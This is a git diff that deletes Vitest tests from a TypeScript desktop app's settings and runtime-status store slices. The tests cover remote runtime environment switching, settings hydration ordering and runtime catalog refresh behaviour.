@@ -108,33 +108,4 @@ describe('runtime status notification isolation', () => {
     expect(removed).not.toHaveBeenCalled()
     remover()
   })
-
-  it('releases the shared root listener and supports repeated cleanup and store isolation', () => {
-    const { store, subscriptions } = setup()
-    const unsubscribe = vi.fn()
-    const originalSubscribe = store.subscribe
-    vi.spyOn(store, 'subscribe').mockImplementation((listener) => {
-      const release = originalSubscribe(listener)
-      return () => {
-        unsubscribe()
-        release()
-      }
-    })
-    const release = subscriptions.subscribeConnection('a', () => {})
-    release()
-    release()
-    expect(unsubscribe).toHaveBeenCalledTimes(1)
-    const listener = vi.fn()
-    const next = subscriptions.subscribeConnection('a', listener)
-    release()
-    const other = setup()
-    other.publish('a', entry({ retired: true }))
-    expect(listener).not.toHaveBeenCalled()
-    expect(subscriptions.getConnectionSnapshot('a')).toBe('connected')
-    expect(other.subscriptions.getConnectionSnapshot('a')).toBe('disconnected')
-    store.setState({ runtimeStatusByEnvironmentId: new Map() })
-    expect(listener).toHaveBeenCalledTimes(1)
-    next()
-    expect(unsubscribe).toHaveBeenCalledTimes(2)
-  })
 })
diff --git a/src/renderer/src/store/slices/settings/settings-owner-hydration-write-fence.test.ts b/src/renderer/src/store/slices/settings/settings-owner-hydration-write-fence.test.ts
index b28162554f0..94009275c51 100644
--- a/src/renderer/src/store/slices/settings/settings-owner-hydration-write-fence.test.ts
+++ b/src/renderer/src/store/slices/settings/settings-owner-hydration-write-fence.test.ts
@@ -25,125 +25,6 @@ it('does not overwrite a settings write with an older owner hydration', async ()
   expect(store.getState().settings?.pluginSystemEnabled).toBe(true)
 })
 
-it('preserves host defaults added while owner hydration is in flight', async () => {
-  markRuntimeEnvironmentCompatible('env-1')
-  let resolveOwnerRead!: (value: unknown) => void
-  const ownerRead = new Promise((resolve) => (resolveOwnerRead = resolve))
-  vi.stubGlobal('window', {
-    api: {
-      settings: {
-        get: vi.fn().mockResolvedValue({ activeRuntimeEnvironmentId: 'env-1' })
-      },
-      runtimeEnvironments: {
-        call: vi.fn().mockReturnValue(ownerRead),
-        list: vi.fn().mockResolvedValue([])
-      }
-    }
-  })
-  const store = createTestStore()
-  const hydration = store.getState().fetchSettings()
-  await vi.waitFor(() => expect(window.api.runtimeEnvironments.call).toHaveBeenCalled())
-
-  store.setState({
-    worktreeVisibilityDefaultsByHost: { 'runtime:env-2': { external: 'show' } }
-  })
-  resolveOwnerRead({
-    ok: true,
-    result: { settings: { worktreeVisibilityDefaults: { external: 'hide' } } },
-    _meta: { runtimeId: 'runtime-1' }
-  })
-  await hydration
-
-  expect(store.getState().worktreeVisibilityDefaultsByHost).toMatchObject({
-    'runtime:env-1': { external: 'hide' },
-    'runtime:env-2': { external: 'show' }
-  })
-})
-
-it('publishes startup settings before remote owner hydration and local catalog work', async () => {
-  markRuntimeEnvironmentCompatible('env-1')
-  let resolveOwnerRead!: (value: unknown) => void
-  const ownerRead = new Promise((resolve) => (resolveOwnerRead = resolve))
-  vi.stubGlobal('window', {
-    api: {
-      settings: {
-        get: vi.fn().mockResolvedValue({
-          activeRuntimeEnvironmentId: 'env-1',
-          worktreeVisibilityDefaults: { external: 'show' }
-        }),
-        set: vi.fn().mockResolvedValue({
-          activeRuntimeEnvironmentId: 'env-1',
-          pluginSystemEnabled: true,
-          worktreeVisibilityDefaults: { external: 'show' }
-        })
-      },
-      runtimeEnvironments: {
-        call: vi.fn().mockReturnValue(ownerRead),
-        list: vi.fn().mockResolvedValue([])
-      }
-    }
-  })
-  const store = createTestStore()
-  let localCatalogStarted = false
-  const startup = (async () => {
-    await store.getState().fetchSettings({ deferOwnerWorktreeVisibilityDefaults: true })
-    localCatalogStarted = true
-  })()
-  await vi.waitFor(() => expect(window.api.runtimeEnvironments.call).toHaveBeenCalled())
-
-  expect(store.getState().settings?.activeRuntimeEnvironmentId).toBe('env-1')
-  expect(store.getState().worktreeVisibilityDefaultsByHost.local).toEqual({ external: 'show' })
-  expect(localCatalogStarted).toBe(true)
-
-  await store.getState().updateSettingsOrThrow({ pluginSystemEnabled: true })
-  resolveOwnerRead({
-    ok: true,
-    result: { settings: { worktreeVisibilityDefaults: { external: 'hide' } } },
-    _meta: { runtimeId: 'runtime-1' }
-  })
-  await startup
-  await store.getState().awaitOwnerWorktreeVisibilityDefaultsHydration()
-  expect(store.getState().settings?.pluginSystemEnabled).toBe(true)
-  expect(store.getState().worktreeVisibilityDefaultsByHost['runtime:env-1']).toEqual({
-    external: 'hide'
-  })
-})
-
-it('preserves deferred owner hydration across a no-op runtime selection', async () => {
-  markRuntimeEnvironmentCompatible('env-no-op')
-  let resolveOwnerRead!: (value: unknown) => void
-  const ownerRead = new Promise((resolve) => (resolveOwnerRead = resolve))
-  vi.stubGlobal('window', {
-    api: {
-      settings: {
-        get: vi.fn().mockResolvedValue({ activeRuntimeEnvironmentId: 'env-no-op' }),
-        setActiveRuntimeEnvironmentPreference: vi.fn()
-      },
-      runtimeEnvironments: {
-        call: vi.fn().mockReturnValue(ownerRead),
-        list: vi.fn().mockResolvedValue([])
-      }
-    }
-  })
-  const store = createTestStore()
-  await store.getState().fetchSettings({ deferOwnerWorktreeVisibilityDefaults: true })
-
-  await expect(store.getState().setActiveRuntimeEnvironmentPreference(' env-no-op ')).resolves.toBe(
-    true
-  )
-  resolveOwnerRead({
-    ok: true,
-    result: { settings: { worktreeVisibilityDefaults: { external: 'show' } } },
-    _meta: { runtimeId: 'runtime-no-op' }
-  })
-  await store.getState().awaitOwnerWorktreeVisibilityDefaultsHydration()
-
-  expect(window.api.settings.setActiveRuntimeEnvironmentPreference).not.toHaveBeenCalled()
-  expect(store.getState().worktreeVisibilityDefaultsByHost['runtime:env-no-op']).toEqual({
-    external: 'show'
-  })
-})
-
 it('waits for a replacement owner hydration before publishing remote rows', async () => {
   markRuntimeEnvironmentCompatible('env-replacement')
   let resolveFirstOwnerRead!: (value: unknown) => void
diff --git a/src/renderer/src/store/slices/settings/settings.test.ts b/src/renderer/src/store/slices/settings/settings.test.ts
deleted file mode 100644
index 64c88b8b55d..00000000000
--- a/src/renderer/src/store/slices/settings/settings.test.ts
+++ /dev/null
@@ -1,638 +0,0 @@
-import { describe, expect, it, vi, beforeEach } from 'vitest'
-import { createTestStore } from '../../testing/app-store-test-fixture'
-import { makeWorktree } from '../worktrees/worktree.test-fixture'
-import type { AppState } from '../../types'
-import type { WorktreeLineage } from '../../../../../shared/worktree/lineage-types'
-import type { PublicKnownRuntimeEnvironment } from '../../../../../shared/remote-runtime/host-catalog/runtime-environments'
-import { toast } from 'sonner'
-import {
-  MIN_COMPATIBLE_RUNTIME_SERVER_VERSION,
-  MIN_COMPATIBLE_RUNTIME_CLIENT_VERSION,
-  RUNTIME_PROTOCOL_VERSION
-} from '../../../../../shared/protocol-version'
-import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '../../../runtime/rpc/compatibility/runtime-compatibility-cache'
-import {
-  RUNTIME_CATALOG_STALE_MS,
-  resetRuntimeCatalogListingForTests
-} from '../runtime-status/runtime-status-hydration'
-
-vi.mock('sonner', () => ({ toast: { error: vi.fn(), success: vi.fn(), info: vi.fn() } }))
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<Record<string, unknown>>()
-  return {
-    ...actual,
-    detectAgentStatusFromTitle: vi.fn().mockReturnValue(null)
-  }
-})
-
-const runtimeEnvironmentCall = vi.fn()
-const runtimeEnvironmentGetStatus = vi.fn()
-const settingsSet = vi.fn().mockResolvedValue(undefined)
-const settingsGet = vi.fn()
-const runtimeEnvironmentList = vi.fn()
-const setActiveRuntimeEnvironmentPreference = vi.fn().mockResolvedValue(undefined)
-const worktreesListDetected = vi.fn()
-
-const env2Lineage: WorktreeLineage = {
-  worktreeId: 'repo-env-2::/env-2/repo',
-  worktreeInstanceId: 'env-2-instance',
-  parentWorktreeId: 'repo-env-2::/env-2/parent',
-  parentWorktreeInstanceId: 'env-2-parent-instance',
-  origin: 'manual',
-  capture: { source: 'manual-action', confidence: 'explicit' },
-  createdAt: 1
-}
-
-function makeRuntimeEnvironment(id: string): PublicKnownRuntimeEnvironment {
-  const endpointId = `ws-${id}`
-  return {
-    id,
-    name: id,
-    createdAt: 1,
-    updatedAt: 1,
-    lastUsedAt: null,
-    runtimeId: null,
-    endpoints: [{ id: endpointId, kind: 'websocket', label: 'WebSocket', endpoint: 'ws://x' }],
-    preferredEndpointId: endpointId
-  }
-}
-
-function deferred<T>() {
-  let resolve: (value: T) => void = () => {}
-  let reject: (reason?: unknown) => void = () => {}
-  const promise = new Promise<T>((promiseResolve, promiseReject) => {
-    resolve = promiseResolve
-    reject = promiseReject
-  })
-  return { promise, resolve, reject }
-}
-
-beforeEach(() => {
-  delete (globalThis as { __ORCA_WEB_CLIENT__?: boolean }).__ORCA_WEB_CLIENT__
-  clearRuntimeCompatibilityCacheForTests()
-  resetRuntimeCatalogListingForTests()
-  vi.clearAllMocks()
-  runtimeEnvironmentGetStatus.mockResolvedValue({
-    id: 'status-rpc-1',
-    ok: true,
-    result: {
-      runtimeId: 'runtime-2',
-      graphStatus: 'ready',
-      runtimeProtocolVersion: RUNTIME_PROTOCOL_VERSION,
-      minCompatibleRuntimeClientVersion: MIN_COMPATIBLE_RUNTIME_CLIENT_VERSION
-    },
-    _meta: { runtimeId: 'runtime-2' }
-  })
-  settingsGet.mockResolvedValue({ notifications: {} })
-  runtimeEnvironmentList.mockResolvedValue([])
-  runtimeEnvironmentCall.mockImplementation(
-    ({ method, params }: { method: string; params?: { repo?: string } }) => {
-      const detectedRepoId = params?.repo ?? 'repo-env-2'
-      const detectedPath = detectedRepoId === 'repo-env-1' ? '/env-1/repo' : '/env-2/repo'
-      const result =
-        method === 'status.get'
-          ? {
-              runtimeId: 'runtime-2',
-              graphStatus: 'ready',
-              runtimeProtocolVersion: RUNTIME_PROTOCOL_VERSION,
-              minCompatibleRuntimeClientVersion: MIN_COMPATIBLE_RUNTIME_CLIENT_VERSION
-            }
-          : method === 'repo.list'
-            ? {
-                repos: [
-                  {
-                    id: 'repo-env-2',
-                    path: '/env-2/repo',
-                    displayName: 'Env 2',
-                    badgeColor: 'blue',
-                    addedAt: 1
-                  }
-                ]
-              }
-            : method === 'worktree.list'
-              ? {
-                  worktrees: [
-                    makeWorktree({
-                      id: 'repo-env-2::/env-2/repo',
-                      repoId: 'repo-env-2',
-                      path: '/env-2/repo'
-                    })
-                  ],
-                  totalCount: 1,
-                  truncated: false
-                }
-              : method === 'worktree.detectedList'
-                ? {
-                    repoId: detectedRepoId,
-                    authoritative: true,
-                    source: 'git',
-                    worktrees: [
-                      {
-                        ...makeWorktree({
-                          id: `${detectedRepoId}::${detectedPath}`,
-                          repoId: detectedRepoId,
-                          path: detectedPath
-                        }),
-                        ownership: 'orca-managed',
-                        selectedCheckout: true,
-                        visible: true
-                      }
-                    ]
-                  }
-                : method === 'browser.profileList'
-                  ? { profiles: [] }
-                  : method === 'projectGroup.list'
-                    ? { groups: [] }
-                    : method === 'worktree.lineageList'
-                      ? { lineage: { [env2Lineage.worktreeId]: env2Lineage } }
-                      : method === 'settings.get'
-                        ? { settings: {} }
-                        : {}
-      return Promise.resolve({ id: 'rpc-1', ok: true, result, _meta: { runtimeId: 'runtime-2' } })
-    }
-  )
-  worktreesListDetected.mockResolvedValue({
-    repoId: 'repo-env-1',
-    authoritative: true,
-    source: 'git',
-    worktrees: [
-      {
-        ...makeWorktree({
-          id: 'repo-env-1::/env-1/repo',
-          repoId: 'repo-env-1',
-          path: '/env-1/repo'
-        }),
-        ownership: 'orca-managed',
-        selectedCheckout: true,
-        visible: true
-      }
-    ]
-  })
-  vi.stubGlobal('window', {
-    api: {
-      settings: { get: settingsGet, set: settingsSet, setActiveRuntimeEnvironmentPreference },
-      runtimeEnvironments: {
-        call: runtimeEnvironmentCall,
-        getStatus: runtimeEnvironmentGetStatus,
-        list: runtimeEnvironmentList
-      },
-      worktrees: { listDetected: worktreesListDetected }
-    }
-  })
-})
-
-describe('createSettingsSlice runtime switching', () => {
-  it('preserves existing host state while loading the selected environment', async () => {
-    const store = createTestStore()
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as AppState['settings'],
-      repos: [
-        {
-          id: 'repo-env-1',
-          path: '/env-1/repo',
-          displayName: 'Env 1',
-          executionHostId: 'runtime:env-1'
-        } as never
-      ],
-      projectGroups: [
-        {
-          id: 'group-env-1',
-          name: 'Env 1 Group',
-          parentPath: '/env-1',
-          parentGroupId: null,
-          createdFrom: 'manual',
-          tabOrder: 0,
-          isCollapsed: false,
-          color: null,
-          createdAt: 1,
-          updatedAt: 1
-        }
-      ],
-      worktreesByRepo: {
-        'repo-env-1': [makeWorktree({ id: 'repo-env-1::/env-1/repo', repoId: 'repo-env-1' })]
-      },
-      worktreeLineageById: {
-        'repo-env-1::/env-1/repo': {
-          ...env2Lineage,
-          worktreeId: 'repo-env-1::/env-1/repo',
-          parentWorktreeId: 'repo-env-1::/env-1/parent'
-        }
-      },
-      activeWorktreeId: 'repo-env-1::/env-1/repo',
-      openFiles: [{ id: '/env-1/repo/a.md', worktreeId: 'repo-env-1::/env-1/repo' } as never],
-      ptyIdsByTabId: { tab1: ['remote:env-1@@terminal-a'] },
-      terminalLayoutsByTabId: {
-        tab1: {
-          root: null,
-          activeLeafId: null,
-          expandedLeafId: null,
-          ptyIdsByLeafId: { 'pane:1': 'remote:legacy-terminal' }
-        }
-      },
-      browserTabsByWorktree: { 'repo-env-1::/env-1/repo': [{ id: 'browser-env-1' }] as never },
-      browserPagesByWorkspace: {
-        'browser-env-1': [{ id: 'page-env-1', worktreeId: 'repo-env-1::/env-1/repo' }] as never
-      },
-      remoteBrowserPageHandlesByPageId: {
-        'page-env-1': { environmentId: 'env-1', remotePageId: 'remote-page-1' }
-      },
-      editorDrafts: { '/env-1/repo/stale.md': 'stale' },
-      markdownViewMode: { '/env-1/repo/stale.md': 'rich' },
-      editorViewMode: { '/env-1/repo/stale.md': 'changes' },
-      markdownFrontmatterVisible: { '/env-1/repo/stale.md': false },
-      editorCursorLine: { '/env-1/repo/stale.md': 4 },
-      showDotfilesByWorktree: { 'repo-env-1::/env-1/repo': false },
-      gitIgnoredPathsByWorktree: { 'repo-env-1::/env-1/repo': ['dist/'] },
-      prCache: { '/env-1/repo::main': { data: null, fetchedAt: Date.now() } },
-      linearIssueCache: { 'LIN-1': { data: { id: 'LIN-1' } as never, fetchedAt: Date.now() } },
-      jiraIssueCache: { 'JIRA-1': { data: { key: 'JIRA-1' } as never, fetchedAt: Date.now() } }
-    })
-
-    await expect(store.getState().setActiveRuntimeEnvironmentPreference('env-2')).resolves.toBe(
-      true
-    )
-
-    expect(setActiveRuntimeEnvironmentPreference).toHaveBeenCalledWith({ environmentId: 'env-2' })
-    expect(runtimeEnvironmentGetStatus).toHaveBeenCalledWith({
-      selector: 'env-2',
-      timeoutMs: 15_000
-    })
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-      expect.objectContaining({ selector: 'env-2', method: 'status.get' })
-    )
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-      expect.objectContaining({ selector: 'env-2', method: 'repo.list' })
-    )
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-      expect.objectContaining({ selector: 'env-2', method: 'worktree.lineageList' })
-    )
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ selector: 'env-1', method: 'terminal.close' })
-    )
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ selector: 'env-1', method: 'browser.tabClose' })
-    )
-    expect(store.getState().repos.map((repo) => repo.id)).toEqual(['repo-env-1', 'repo-env-2'])
-    expect(store.getState().repos.find((repo) => repo.id === 'repo-env-2')?.executionHostId).toBe(
-      'runtime:env-2'
-    )
-    expect(store.getState().worktreeVisibilityDefaultsByHost['runtime:env-2']).toBeNull()
-    expect(store.getState().projectGroups.map((group) => group.id)).toEqual(['group-env-1'])
-    expect(store.getState().worktreesByRepo['repo-env-1']?.map((worktree) => worktree.id)).toEqual([
-      'repo-env-1::/env-1/repo'
-    ])
-    expect(store.getState().worktreesByRepo['repo-env-2']?.map((worktree) => worktree.id)).toEqual([
-      'repo-env-2::/env-2/repo'
-    ])
-    expect(store.getState().worktreeLineageById).toEqual({
-      'repo-env-1::/env-1/repo': {
-        ...env2Lineage,
-        worktreeId: 'repo-env-1::/env-1/repo',
-        parentWorktreeId: 'repo-env-1::/env-1/parent'
-      },
-      [env2Lineage.worktreeId]: env2Lineage
-    })
-    expect(store.getState().activeWorktreeId).toBe('repo-env-1::/env-1/repo')
-    expect(store.getState().openFiles).toEqual([
-      { id: '/env-1/repo/a.md', worktreeId: 'repo-env-1::/env-1/repo' }
-    ])
-    expect(store.getState().editorDrafts).toEqual({ '/env-1/repo/stale.md': 'stale' })
-    expect(store.getState().markdownViewMode).toEqual({ '/env-1/repo/stale.md': 'rich' })
-    expect(store.getState().editorViewMode).toEqual({ '/env-1/repo/stale.md': 'changes' })
-    expect(store.getState().markdownFrontmatterVisible).toEqual({
-      '/env-1/repo/stale.md': false
-    })
-    expect(store.getState().editorCursorLine).toEqual({ '/env-1/repo/stale.md': 4 })
-    expect(store.getState().showDotfilesByWorktree).toEqual({ 'repo-env-1::/env-1/repo': false })
-    expect(store.getState().gitIgnoredPathsByWorktree).toEqual({
-      'repo-env-1::/env-1/repo': ['dist/']
-    })
-    expect(store.getState().ptyIdsByTabId).toEqual({ tab1: ['remote:env-1@@terminal-a'] })
-    expect(store.getState().browserTabsByWorktree).toEqual({
-      'repo-env-1::/env-1/repo': [{ id: 'browser-env-1' }]
-    })
-    expect(store.getState().prCache).toEqual({
-      '/env-1/repo::main': expect.objectContaining({ data: null })
-    })
-    expect(store.getState().linearIssueCache).toEqual({
-      'LIN-1': expect.objectContaining({ data: { id: 'LIN-1' } })
-    })
-    expect(store.getState().jiraIssueCache).toEqual({
-      'JIRA-1': expect.objectContaining({ data: { key: 'JIRA-1' } })
-    })
-  })
-
-  it('keeps the previous host live terminal and browser resources intact on switch (multi-host keepalive)', async () => {
-    const store = createTestStore()
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as AppState['settings'],
-      repos: [
-        {
-          id: 'repo-env-1',
-          path: '/env-1/repo',
-          displayName: 'Env 1',
-          executionHostId: 'runtime:env-1'
-        } as never
-      ],
-      worktreesByRepo: {
-        'repo-env-1': [makeWorktree({ id: 'repo-env-1::/env-1/repo', repoId: 'repo-env-1' })]
-      },
-      activeWorktreeId: 'repo-env-1::/env-1/repo',
-      tabsByWorktree: {
-        'repo-env-1::/env-1/repo': [
-          {
-            id: 'host-tab-1',
-            ptyId: 'remote:env-1@@terminal-a',
-            worktreeId: 'repo-env-1::/env-1/repo',
-            title: 'Terminal 1',
-            defaultTitle: 'Terminal 1',
-            customTitle: null,
-            color: null,
-            sortOrder: 0,
-            createdAt: 1
-          }
-        ]
-      },
-      ptyIdsByTabId: { 'host-tab-1': ['remote:env-1@@terminal-a'] },
-      terminalLayoutsByTabId: {
-        'host-tab-1': {
-          root: null,
-          activeLeafId: null,
-          expandedLeafId: null,
-          ptyIdsByLeafId: { 'pane:1': 'remote:env-1@@terminal-a' }
-        }
-      },
-      browserPagesByWorkspace: {
-        'browser-env-1': [{ id: 'page-env-1', worktreeId: 'repo-env-1::/env-1/repo' }] as never
-      },
-      remoteBrowserPageHandlesByPageId: {
-        'page-env-1': { environmentId: 'env-1', remotePageId: 'remote-page-1' }
-      }
-    })
-
-    await expect(store.getState().setActiveRuntimeEnvironmentPreference('env-2')).resolves.toBe(
-      true
-    )
-
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ selector: 'env-1', method: 'terminal.close' })
-    )
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ selector: 'env-1', method: 'browser.tabClose' })
-    )
-
-    expect(store.getState().tabsByWorktree).toEqual({
-      'repo-env-1::/env-1/repo': [
-        {
-          id: 'host-tab-1',
-          ptyId: 'remote:env-1@@terminal-a',
-          worktreeId: 'repo-env-1::/env-1/repo',
-          title: 'Terminal 1',
-          defaultTitle: 'Terminal 1',
-          customTitle: null,
-          color: null,
-          sortOrder: 0,
-          createdAt: 1
-        }
-      ]
-    })
-    expect(store.getState().ptyIdsByTabId).toEqual({
-      'host-tab-1': ['remote:env-1@@terminal-a']
-    })
-    expect(store.getState().terminalLayoutsByTabId).toEqual({
-      'host-tab-1': {
-        root: null,
-        activeLeafId: null,
-        expandedLeafId: null,
-        ptyIdsByLeafId: { 'pane:1': 'remote:env-1@@terminal-a' }
-      }
-    })
-    expect(store.getState().browserPagesByWorkspace).toEqual({
-      'browser-env-1': [{ id: 'page-env-1', worktreeId: 'repo-env-1::/env-1/repo' }]
-    })
-    expect(store.getState().remoteBrowserPageHandlesByPageId).toEqual({
-      'page-env-1': { environmentId: 'env-1', remotePageId: 'remote-page-1' }
-    })
-  })
-
-  it('allows switching focus while editor tabs have unsaved state', async () => {
-    const store = createTestStore()
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as AppState['settings'],
-      openFiles: [
-        {
-          id: '/env-1/repo/dirty.md',
-          worktreeId: 'repo-env-1::/env-1/repo',
-          isDirty: true
-        } as never
-      ],
-      editorDrafts: { '/env-1/repo/dirty.md': 'draft' }
-    })
-
-    await expect(store.getState().setActiveRuntimeEnvironmentPreference('env-2')).resolves.toBe(
-      true
-    )
-
-    expect(setActiveRuntimeEnvironmentPreference).toHaveBeenCalledWith({ environmentId: 'env-2' })
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-      expect.objectContaining({ selector: 'env-2', method: 'repo.list' })
-    )
-    expect(store.getState().settings?.activeRuntimeEnvironmentId).toBe('env-2')
-    expect(store.getState().openFiles).toHaveLength(1)
-    expect(store.getState().editorDrafts).toEqual({ '/env-1/repo/dirty.md': 'draft' })
-    expect(toast.error).not.toHaveBeenCalled()
-  })
-
-  it('keeps the current environment when the selected remote server is unreachable', async () => {
-    runtimeEnvironmentGetStatus.mockRejectedValueOnce(
-      new Error('Remote Orca runtime closed the connection.')
-    )
-    const store = createTestStore()
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as AppState['settings'],
-      repos: [{ id: 'repo-env-1', path: '/env-1/repo', displayName: 'Env 1' } as never],
-      openFiles: [],
-      ptyIdsByTabId: { tab1: ['remote:env-1@@terminal-a'] }
-    })
-
-    await expect(store.getState().setActiveRuntimeEnvironmentPreference('env-2')).resolves.toBe(
-      false
-    )
-
-    expect(setActiveRuntimeEnvironmentPreference).not.toHaveBeenCalled()
-    expect(runtimeEnvironmentGetStatus).toHaveBeenCalledWith({
-      selector: 'env-2',
-      timeoutMs: 15_000
-    })
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ selector: 'env-1', method: 'terminal.close' })
-    )
-    expect(store.getState().settings?.activeRuntimeEnvironmentId).toBe('env-1')
-    expect(store.getState().repos.map((repo) => repo.id)).toEqual(['repo-env-1'])
-    expect(store.getState().ptyIdsByTabId).toEqual({ tab1: ['remote:env-1@@terminal-a'] })
-    expect(toast.error).toHaveBeenCalledWith('Failed to switch servers', {
-      description: 'Remote Orca runtime closed the connection.'
-    })
-  })
-
-  it('keeps the current environment when the selected server is protocol-incompatible', async () => {
-    runtimeEnvironmentGetStatus.mockResolvedValueOnce({
-      id: 'status-rpc-old',
-      ok: true,
-      result: {
-        runtimeId: 'runtime-old',
-        graphStatus: 'ready',
-        runtimeProtocolVersion: MIN_COMPATIBLE_RUNTIME_SERVER_VERSION - 1,
-        minCompatibleRuntimeClientVersion: 0
-      },
-      _meta: { runtimeId: 'runtime-old' }
-    })
-    const store = createTestStore()
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as AppState['settings'],
-      repos: [{ id: 'repo-env-1', path: '/env-1/repo', displayName: 'Env 1' } as never],
-      openFiles: []
-    })
-
-    await expect(store.getState().setActiveRuntimeEnvironmentPreference('env-old')).resolves.toBe(
-      false
-    )
-
-    expect(setActiveRuntimeEnvironmentPreference).not.toHaveBeenCalled()
-    expect(runtimeEnvironmentGetStatus).toHaveBeenCalledWith({
-      selector: 'env-old',
-      timeoutMs: 15_000
-    })
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-    expect(toast.error).toHaveBeenCalledWith('Failed to switch servers', {
-      description: expect.stringContaining('server is too old')
-    })
-  })
-})
-
-describe('fetchSettings runtime catalog probe', () => {
-  // A failed settings read must still settle runtime catalog discovery or skill badges spin forever without retry.
-  it('still probes the runtime catalog when the settings read fails', async () => {
-    settingsGet.mockRejectedValueOnce(new Error('unreadable settings.json'))
-    const store = createTestStore()
-
-    await store.getState().fetchSettings()
-    await vi.waitFor(() => expect(runtimeEnvironmentList).toHaveBeenCalled())
-
-    expect(store.getState().settings).toBeNull()
-    expect(store.getState().runtimeEnvironmentCatalogSettled).toBe(true)
-  })
-
-  it('coalesces concurrent settings refreshes into one all-host sweep', async () => {
-    const environments = [makeRuntimeEnvironment('env-a'), makeRuntimeEnvironment('env-b')]
-    const catalog = deferred<PublicKnownRuntimeEnvironment[]>()
-    runtimeEnvironmentList.mockReturnValueOnce(catalog.promise)
-    const store = createTestStore()
-
-    await Promise.all(Array.from({ length: 10 }, () => store.getState().fetchSettings()))
-
-    expect(settingsGet).toHaveBeenCalledTimes(10)
-    expect(runtimeEnvironmentList).toHaveBeenCalledTimes(1)
-    expect(runtimeEnvironmentGetStatus).not.toHaveBeenCalled()
-
-    catalog.resolve(environments)
-    await vi.waitFor(() => expect(runtimeEnvironmentGetStatus).toHaveBeenCalledTimes(2))
-    await vi.waitFor(() => expect(store.getState().runtimeStatusByEnvironmentId.size).toBe(2))
-
-    await store.getState().fetchSettings()
-    expect(settingsGet).toHaveBeenCalledTimes(11)
-    expect(runtimeEnvironmentList).toHaveBeenCalledTimes(1)
-    expect(runtimeEnvironmentGetStatus).toHaveBeenCalledTimes(2)
-  })
-
-  it('treats an offline result as checked on later settings refreshes', async () => {
-    const environments = [makeRuntimeEnvironment('env-a'), makeRuntimeEnvironment('env-b')]
-    runtimeEnvironmentList.mockResolvedValue(environments)
-    runtimeEnvironmentGetStatus.mockImplementation(({ selector }: { selector: string }) =>
-      selector === 'env-b'
-        ? Promise.reject(new Error('offline'))
-        : Promise.resolve({
-            id: 'status-rpc-a',
-            ok: true,
-            result: {
-              runtimeId: 'runtime-a',
-              graphStatus: 'ready',
-              runtimeProtocolVersion: RUNTIME_PROTOCOL_VERSION,
-              minCompatibleRuntimeClientVersion: MIN_COMPATIBLE_RUNTIME_CLIENT_VERSION
-            },
-            _meta: { runtimeId: 'runtime-a' }
-          })
-    )
-    const store = createTestStore()
-
-    await store.getState().fetchSettings()
-    await vi.waitFor(() =>
-      expect(store.getState().runtimeStatusByEnvironmentId.get('env-b')?.status).toBeNull()
-    )
-    await store.getState().fetchSettings()
-
-    expect(settingsGet).toHaveBeenCalledTimes(2)
-    expect(runtimeEnvironmentList).toHaveBeenCalledTimes(1)
-    expect(runtimeEnvironmentGetStatus).toHaveBeenCalledTimes(2)
-  })
-
-  it('retries a failed catalog read on the next settings refresh', async () => {
-    const firstCatalog = deferred<PublicKnownRuntimeEnvironment[]>()
-    runtimeEnvironmentList
-      .mockReturnValueOnce(firstCatalog.promise)
-      .mockResolvedValueOnce([makeRuntimeEnvironment('env-a')])
-    const consoleError = vi.spyOn(console, 'error').mockImplementation(() => undefined)
-    const store = createTestStore()
-
-    try {
-      await store.getState().fetchSettings()
-      firstCatalog.reject(new Error('unreadable environments.json'))
-      await vi.waitFor(() => expect(store.getState().runtimeEnvironmentCatalogSettled).toBe(true))
-      expect(store.getState().runtimeEnvironmentCatalogHydrated).toBe(false)
-
-      await store.getState().fetchSettings()
-      await vi.waitFor(() => expect(store.getState().runtimeEnvironmentCatalogHydrated).toBe(true))
-      await vi.waitFor(() => expect(runtimeEnvironmentGetStatus).toHaveBeenCalledTimes(1))
-      await store.getState().fetchSettings()
-
-      expect(settingsGet).toHaveBeenCalledTimes(3)
-      expect(runtimeEnvironmentList).toHaveBeenCalledTimes(2)
-      expect(runtimeEnvironmentGetStatus).toHaveBeenCalledTimes(1)
-    } finally {
-      consoleError.mockRestore()
-    }
-  })
-
-  it('picks up an externally added host once the listing goes stale', async () => {
-    runtimeEnvironmentList.mockResolvedValue([makeRuntimeEnvironment('env-a')])
-    const store = createTestStore()
-    const now = vi.spyOn(Date, 'now').mockReturnValue(1_000_000)
-
-    try {
-      await store.getState().fetchSettings()
-      await vi.waitFor(() => expect(store.getState().runtimeStatusByEnvironmentId.size).toBe(1))
-
-      // Another client adds a host; coverage still matches, so only staleness can reveal it.
-      runtimeEnvironmentList.mockResolvedValue([
-        makeRuntimeEnvironment('env-a'),
-        makeRuntimeEnvironment('env-b')
-      ])
-      await store.getState().fetchSettings()
-      expect(runtimeEnvironmentList).toHaveBeenCalledTimes(1)
-      expect(store.getState().runtimeEnvironments.map(({ id }) => id)).toEqual(['env-a'])
-
-      now.mockReturnValue(1_000_000 + RUNTIME_CATALOG_STALE_MS + 1)
-      await store.getState().fetchSettings()
-      await vi.waitFor(() =>
-        expect(store.getState().runtimeEnvironments.map(({ id }) => id)).toEqual(['env-a', 'env-b'])
-      )
-      await vi.waitFor(() =>
-        expect(store.getState().runtimeStatusByEnvironmentId.has('env-b')).toBe(true)
-      )
-      expect(runtimeEnvironmentList).toHaveBeenCalledTimes(2)
-    } finally {
-      now.mockRestore()
-    }
-  })
-})
